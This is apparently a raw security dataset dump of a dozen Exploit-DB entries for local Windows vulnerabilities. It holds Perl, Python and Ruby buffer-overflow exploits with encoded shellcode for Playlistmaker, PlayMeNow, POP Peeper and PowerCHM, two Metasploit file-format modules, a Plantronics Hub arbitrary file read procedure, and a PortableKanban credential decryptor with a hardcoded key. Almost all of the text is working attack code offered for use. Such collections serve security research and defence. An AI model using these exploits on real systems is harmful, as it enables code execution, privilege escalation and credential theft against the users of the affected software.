deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52011
Description: Plantronics Hub 3.25.1 - Arbitrary File Read
Type: local
Platform: windows
Date: 2024-05-13
Author: Alaa Kachouh

Exploit:
# Exploit Title: Plantronics Hub 3.25.1 – Arbitrary File Read
# Date: 2024-05-10
# Exploit Author: Farid Zerrouk from Deloitte Belgium, Alaa Kachouh from
Mastercard
# Vendor Homepage:
https://support.hp.com/us-en/document/ish_9[PII_REDACTED]285-16/hpsbpy03895
# Version: Plantronics Hub for Windows version 3.25.1
# Tested on: Windows 10/11
# CVE : CVE-2024-27460

As a regular user drop a file called "MajorUpgrade.config" inside the
"C:\ProgramData\Plantronics\Spokes3G" directory. The content of
MajorUpgrade.config should look like the following one liner:
^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config

Exchange <FULL-PATH-TO-YOUR-DESIRED-FILE> with a desired file to read/copy
(any file on the system). The desired file will be copied into C:\Program
Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp

Steps to reproduce (POC):
- Open cmd.exe
- Navigate using cd C:\ProgramData\Plantronics\Spokes3G
- echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
- Desired file will be copied into C:\Program Files
(x86)\Plantronics\Spokes3G\UpdateServiceTemp
Exploit-DB #9379
Description: Playlistmaker 1.5 - '.m3u' / '.M3L' Local Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2009-08-06
Author: germaya_x

Exploit:
#!/usr/bin/perl
#discoverd by:  germaya_x
#soft:Playlistmaker1.5 (m3l,m3u files) local buffer overflow exploit (SEH)
#Download: http://proletsoft.freeservers.com/mmb/playlistmaker.html
#tested on: xp sp3 (EN)
#bug date:August 06 09
#greetz:hack4love ,devil fucker ,angel
###############################################################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
my $bof="A" x 992;
my $eip_next="\x33\xBF\x96\x7C"; #
my $nop="\x90" x 20;

################################################################################################
open(MYFILE,'>>radio.m3u');
print MYFILE $bof.$eip_next.$nop.$shellcode;
close(MYFILE);
################################################################################################

# milw0rm.com [2009-08-06]
Exploit-DB #17166
Description: PlaylistMaker 1.5 - '.txt' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-04-13
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/python
#
#[+]Exploit Title: PlaylistMaker V1.5 .TXT File Buffer Overflow Vulnerability
#[+]Date: 13\04\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.softpedia.com/get/Multimedia/Audio/Other-AUDIO-Tools/Playlistmaker.shtml
#[+]Version: V1.5
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#


from struct import pack
import os
from time import sleep


print """
			Exploit Buffer Overflow playlistmaker 1.5
			Created BY C4SS!0 G0M3S
			E-mail Louredo_@hotmail.com
			Site www.exploit-br.org
 
"""
 
buf = "\x42" * 1025
buf += "\xeb\x10\x90\x90"
buf += pack('<L',0x5D1D13E5)
buf += "\x90" * 10
buf += "\x61\x61\x61\x8B\xC2\x50\xC3"
buf += "\x41" * (5091-4)
buf += ("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYKIPVQXIOO3L5FBPXLN9D"
"46DJTNQ5N0XVQD84XK3M8KL33RXE8L4MUP02XOLSUO92XOFVCKEL3X4NNSM5RNJGJP2ELOOSRJM5M64X"
"USVQ9WQKWLVSPJUT1XJDFWEZUB4O7SLKKUKUURKZP179M1XKMWRP8EKI2M8YSZW7KCJ8OPL0O7SHSPSY"
"41GL7XXWKLCLNK35O0WQCSTPQY1VSXML5O6L5IQCNMHJUNJL1UUOX7VMIWMWK9PXYKN0QE1OFTNVOMUT"
"YK7OGT8FOPYLP3K8W5UCOM83KYZA")
buf += "\x41" * (19000-len(buf))
print "\t\t[+]Creating the Exploit File..."
sleep(1)
f = open("Exploit.txt","wb")
f.write("http://"+buf)
f.close()
print "\t\t[+]File Created With Success\n"
sleep(2)
Exploit-DB #10563
Description: PlayMeNow (Windows XP Universal) - '.M3U' Playlist Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-19
Author: loneferret

Exploit:
#!/usr/bin/python

# Vulnerability:        	PlayMeNow Malformed M3U Playlist WinXP Universal BoF
# Product:			PlayMeNow - media player.
# Versions affected:     	Tested with 7.3 and 7.4
# Tested on:              	Windows XP Pro SP2/3 & Home SP3
# Author:                 	loneferret
# Original Author:    	Gr33nG0bL1n
# Reference:			http://www.exploit-db.com/exploits/10556
# Date: 19/12/2009
# Usage: Just choose your shellcode and open the created file(PlayMeNow_expl.m3u) with PlayMeNow.

# The offset is 1040, but the return address used brings us into it. So the shellcode is part of our
# offset buffer. Also, yes the return address does contain \x00. If you want to put in a bigger payload
# play around with the first & second set of As and those nops.

buffer = "\x41" * 465
buffer += "\x90" * 110

#win32_exec -  
#EXITFUNC=thread 
#CMD=calc.exe Size=164 Encoder=PexFnstenvSub 
#http://metasploit.com */
buffer +=("\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc4"
"\x5b\x35\x61\x83\xeb\xfc\xe2\xf4\x38\xb3\x71\x61\xc4\x5b\xbe\x24"
"\xf8\xd0\x49\x64\xbc\x5a\xda\xea\x8b\x43\xbe\x3e\xe4\x5a\xde\x28"
"\x4f\x6f\xbe\x60\x2a\x6a\xf5\xf8\x68\xdf\xf5\x15\xc3\x9a\xff\x6c"
"\xc5\x99\xde\x95\xff\x0f\x11\x65\xb1\xbe\xbe\x3e\xe0\x5a\xde\x07"
"\x4f\x57\x7e\xea\x9b\x47\x34\x8a\x4f\x47\xbe\x60\x2f\xd2\x69\x45"
"\xc0\x98\x04\xa1\xa0\xd0\x75\x51\x41\x9b\x4d\x6d\x4f\x1b\x39\xea"
"\xb4\x47\x98\xea\xac\x53\xde\x68\x4f\xdb\x85\x61\xc4\x5b\xbe\x09"
"\xf8\x04\x04\x97\xa4\x0d\xbc\x99\x47\x9b\x4e\x31\xac\xb4\xfb\x81"
"\xa4\x33\xad\x9f\x4e\x55\x62\x9e\x23\x38\x54\x0d\xa7\x75\x50\x19"
"\xa1\x5b\x35\x61")

buffer += "\x41" * 301		# end of our 1040 byte
buffer += "\x8c\x92\x5b\x00" 	# 0x005B928C JMP ESP @ autorun.exe
buffer += "\xCC" * 2800		# junk

file=open('playmenow.m3u','w')
file.write(buffer)				# write file
file.close()
Exploit-DB #10577
Description: PlayMeNow - '.M3U' Playlist Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-12-21
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#Greets: His0k4 :) Then His0k4 and After That His0k4
#Special Greets :[PII_REDACTED] [PII_REDACTED] [PII_REDACTED]
##################################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com
my $shellcode =
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5b\x71\xf9".
"\x90\x83\xeb\xfc\xe2\xf4\xa7\x99\xbd\x90\x5b\x71\x72\xd5\x67\xfa".
"\x85\x95\x23\x70\x16\x1b\x14\x69\x72\xcf\x7b\x70\x12\xd9\xd0\x45".
"\x72\x91\xb5\x40\x39\x09\xf7\xf5\x39\xe4\x5c\xb0\x33\x9d\x5a\xb3".
"\x12\x64\x60\x25\xdd\x94\x2e\x94\x72\xcf\x7f\x70\x12\xf6\xd0\x7d".
"\xb2\x1b\x04\x6d\xf8\x7b\xd0\x6d\x72\x91\xb0\xf8\xa5\xb4\x5f\xb2".
"\xc8\x50\x3f\xfa\xb9\xa0\xde\xb1\x81\x9c\xd0\x31\xf5\x1b\x2b\x6d".
"\x54\x1b\x33\x79\x12\x99\xd0\xf1\x49\x90\x5b\x71\x72\xf8\x67\x2e".
"\xc8\x66\x3b\x27\x70\x68\xd8\xb1\x82\xc0\x33\x81\x73\x94\x04\x19".
"\x61\x6e\xd1\x7f\xae\x6f\xbc\x12\x98\xfc\x38\x71\xf9\x90";
my $bof="\x42" x 2360;
my $next_seh="\xEB\x06\x90\x90";
my $seh="\xB8\x15\xC6\x72";
###################################################################
open(myfile,'>>exploit.m3u');
print myfile $bof.$next_seh.$seh.$shellcode;
###################################################################
Exploit-DB #10596
Description: PlayMeNow - '.m3u' Universal XP Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-12-22
Author: ThE g0bL!N

Exploit:
##############################################################
# Author: ThE g0bL!N
# Tested on: xp sp2,sp3
#Grrets: His0k4 Alone :)
##############################################################
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
my $junk = "\x41" x 1799 ;
my $len = "\x44" x (561-length($shellcode)) ;
my $next = "\xEB\x06\x90\x90";
my $seh = "\x49\x50\x40";
open(myfile,'>>Playme_now.m3u');
print myfile $junk.$shellcode.$len.$next.$seh;
##############################################################
Exploit-DB #11010
Description: PlayMeNow 7.3/7.4 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-01-06
Author: blake

Exploit:
# Tested on: Windows XP SP3 - English
# CVE :
# Code :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'PlayMeNow versions 7.3 and 7.4 Buffer Overflow Exploit (SEH)',
            'Description' => %q{
                This module exploits a stack overflow in PlayMeNow version 7.3 and 7.4.
            By creating a specially crafted m3u or pls file, an an attacker may be able
            to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'Blake',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'OSVDB', '' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/10556' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
            'Payload' =>
                {
                    'Space' => 1428,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP Universal', { 'Ret' => 0x10020ed7} ], # pop pop ret - AtomicClock.lmd

                ],
            'Privileged' => false,
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']),
            ], self.class)
    end


    def exploit

        sploit = rand_text_alphanumeric(2360)
        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 20                # nop sled
        sploit << payload.encoded
        sploit << rand_text_alphanumeric(1428 - payload.encoded.length)

        playlist = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(playlist)

    end

end
Exploit-DB #10332
Description: PointDev IDEAL Administration 2009 9.7 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2009-12-06
Author: dookie

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IDEAL Administration 2009 Buffer Overflow - Universal',
			'Description'    => %q{
					This module exploits a stack overflow in IDEAL Administration v9.7.
					By creating a specially crafted ipj file, an an attacker may be able
					to execute arbitrary code. 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dookie, original by Dr_IDE' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10319' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x3c\x22\x3e\x1a\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows XP Universal', { 'Ret' => 0x10010F2E } ], # ListWmi.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  'unIDEAL.ipj']),
				], self.class)

	end

	def exploit

		sploit =  "\x0D\x0A\x5B\x47\x72\x6F\x75\x70\x2C\x45\x78\x70\x6F"
		sploit << "\x72\x74\x2C\x59\x65\x73\x5D\x0D\x0A"
		sploit << "\x43\x6f\x6d\x70\x75\x74\x65\x72\x3D"
		sploit << rand_text_alpha_upper(2420)
		sploit << [target.ret].pack('V')
		sploit << "\x90" * 300
		sploit << payload.encoded
		sploit << "\x0D\x0A\x5B\x45\x6E\x64\x5D\x0D\x0A"
	
		ipj = sploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(ipj)   

	end

end
Exploit-DB #16999
Description: POP Peeper 3.7 - Local Overflow (SEH)
Type: local
Platform: windows
Date: 2011-03-18
Author: Anastasios Monachos

Exploit:
#!/usr/bin/ruby
#############################################################################
# Title:		POP Peeper 3.7 SEH Exploit
# Tested on: 	Windows XP SP2 EN
# Target:  		POP Peeper 3.7.0.0
# Download Link:	http://www.poppeeper.com/download.php
# Author:		Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
# Greetz: 		offsec team, inj3ct0r team
#############################################################################
appdata = ENV['APPDATA'] 
file = appdata +"\\POP Peeper\\poppeeper.ini"
f = open(file, "wb")
eb = "\xeb\x06\x90\x90"
ppr = "\x67\x15\xD3\x74"	#Module Name=C:\WINDOWS\system32\oledlg.dll version=1.0 (XPClient[PII_REDACTED])
#Spawn calc.exe, bad characters: \x00\x0a\x0d
shellcode = ("\xdd\xc3\xd9\x74\x24\xf4\x5a\xb8\x30\xe7\x16\x7d\x33\xc9" +
"\xb1\x33\x31\x42\x17\x83\xc2\x04\x03\x72\xf4\xf4\x88\x8e" +
"\x12\x71\x72\x6e\xe3\xe2\xfa\x8b\xd2\x30\x98\xd8\x47\x85" +
"\xea\x8c\x6b\x6e\xbe\x24\xff\x02\x17\x4b\x48\xa8\x41\x62" +
"\x49\x1c\x4e\x28\x89\x3e\x32\x32\xde\xe0\x0b\xfd\x13\xe0" +
"\x4c\xe3\xdc\xb0\x05\x68\x4e\x25\x21\x2c\x53\x44\xe5\x3b" +
"\xeb\x3e\x80\xfb\x98\xf4\x8b\x2b\x30\x82\xc4\xd3\x3a\xcc" +
"\xf4\xe2\xef\x0e\xc8\xad\x84\xe5\xba\x2c\x4d\x34\x42\x1f" +
"\xb1\x9b\x7d\x90\x3c\xe5\xba\x16\xdf\x90\xb0\x65\x62\xa3" +
"\x02\x14\xb8\x26\x97\xbe\x4b\x90\x73\x3f\x9f\x47\xf7\x33" +
"\x54\x03\x5f\x57\x6b\xc0\xeb\x63\xe0\xe7\x3b\xe2\xb2\xc3" +
"\x9f\xaf\x61\x6d\xb9\x15\xc7\x92\xd9\xf1\xb8\x36\x91\x13" +
"\xac\x41\xf8\x79\x33\xc3\x86\xc4\x33\xdb\x88\x66\x5c\xea" +
"\x03\xe9\x1b\xf3\xc1\x4e\xd3\xb9\x48\xe6\x7c\x64\x19\xbb" +
"\xe0\x97\xf7\xff\x1c\x14\xf2\x7f\xdb\x04\x77\x7a\xa7\x82" +
"\x6b\xf6\xb8\x66\x8c\xa5\xb9\xa2\xef\x28\x2a\x2e\xde\xcf" +
"\xca\xd5\x1e")

f.write("\r\n[Act_"+"\x41"*1088+eb+ppr+shellcode+"]\r\nEnabled = 1\r\n")
f.close()
Exploit-DB #48378
Description: Popcorn Time 6.2 - 'Update service' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-04-24
Author: Uriel Yochpaz

Exploit:
# Exploit Title: Popcorn Time 6.2 - 'Update service' Unquoted Service Path
# Date: 2020-04-24
# Vendor Homepage: https://getpopcorntime.is
# Exploit Authors: Uriel Yochpaz & Jonatan Schor
# Software Link: https://dl.getpopcorntime.is/PopcornTime-latest.exe
# Version: 6.2.1.14 and probably prior versions
# Tested on: Windows 10, 7
# CVE : N/A

[+] Description:
Popcorn Time For Windows installs as a service with an unquoted
service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

[+] POC:
C:\Users\User>sc qc "Update service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Update service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Popcorn Time\Updater.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Update service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

[+] Exploit:
A successful attempt would require the local user to be able to insert their
code in "Program files (x86)" (popcorn.exe) or "C:\" (program.exe)
folders undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit-DB #49409
Description: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
Type: local
Platform: windows
Date: 2021-01-11
Author: rootabeta

Exploit:
# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
# Date: 9 Jan 2021
# Exploit Author: rootabeta
# Vendor Homepage: The original page, https://dmitryivanov.net/, cannot be found at this time of writing. The vulnerable software can be downloaded from https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on. 

# PortableKanBan stores credentials in an encrypted format
# Reverse engineering the executable allows an attacker to extract credentials from local storage
# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials

import json
import base64
from des import * #python3 -m pip install des
import sys

try:
	path = sys.argv[1]
except:
	exit("Supply path to PortableKanban.pk3 as argv1")

def decode(hash):
	hash = base64.b64decode(hash.encode('utf-8'))
	key = DesKey(b"7ly6UznJ")
	return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')

with open(path) as f:
	try:
		data = json.load(f)
	except: #Start of file sometimes contains junk - this automatically seeks valid JSON
		broken = True
		i = 1
		while broken:
			f.seek(i,0)
			try:
				data = json.load(f)
				broken = False
			except:
				i+= 1
			

for user in data["Users"]:
	print("{}:{}".format(user["Name"],decode(user["EncryptedPassword"])))
Exploit-DB #25636
Description: Positive Software H-Sphere Winbox 2.4 - Sensitive Logfile Content Disclosure
Type: local
Platform: windows
Date: 2005-05-09
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/13559/info

It is reported that Positive Software H-Sphere Winbox stores user account information in a plaintext format inside of application log files.

As a result, user credentials could be exposed to other local users who have permissions to access the log files. 

C:\HSphere.NET\log\action.log
C:\HSphere.NET\log\resources.log
Exploit-DB #8301
Description: PowerCHM 5.7 - 'hhp' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-03-29
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Title: PowerCHM 5.7 (hhp) Local Buffer Overflow Exploit
#
# Summary: With PowerCHM you can create your CHM files
# automatically from Html Files (including .htm, .html
# and .mht), Text Files (.txt), Microsoft Word Documents
# (.doc) and Adobe Acrobat Document (.pdf).
#
# Product web page: http://www.dawningsoft.com/products/powerchm.htm
#
# Tested on WinXP Pro SP2 (English)
#
# Refs:	http://www.milw0rm.com/exploits/8300
#	http://security.biks.vn/?p=365
#
# Exploit by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 28.03.2009
#

my $header="
	[OPTIONS]\n
	Compatibility=1.1 or later\n
	Compiled file=zero.chm\n
	Contents file=science.hhc\n
	Index file=lqwrm.hhk\n
	Binary Index=Yes\n
	Language=0x042F\n
	Title=\n
	Error log file=Errlog.txt\n
	Default Window=main\n\n
	[WINDOWS]\n
	main='',science.hhc,lqwrm.hhk,'','',,,,,0x41520,240,0x184E,[262,184,762,584],,,,0,0,0,0\n\n
	[FILES]\n\n
	[INFOTYPES]\n
	";


my $sc ="\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45".
	"\xFD\x6D\xC6\x45\xFE\x64\xC6\x45\xF8\x01\x8D".
	"\x45\xFC\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";


my $bof = "\x90" x 568 . "$sc" . "\x41" x 400 . "\xe8\xed\x12\x00" . "\x42" x 500;

my $file = "Watchmen.hhp";
open (hhp, ">./$file") || die "\nCan't open $file: $!";
print hhp "$header" . "$bof";
close (hhp);
sleep 1;
print "\nFile $file successfully created!\n";

# milw0rm.com [2009-03-29]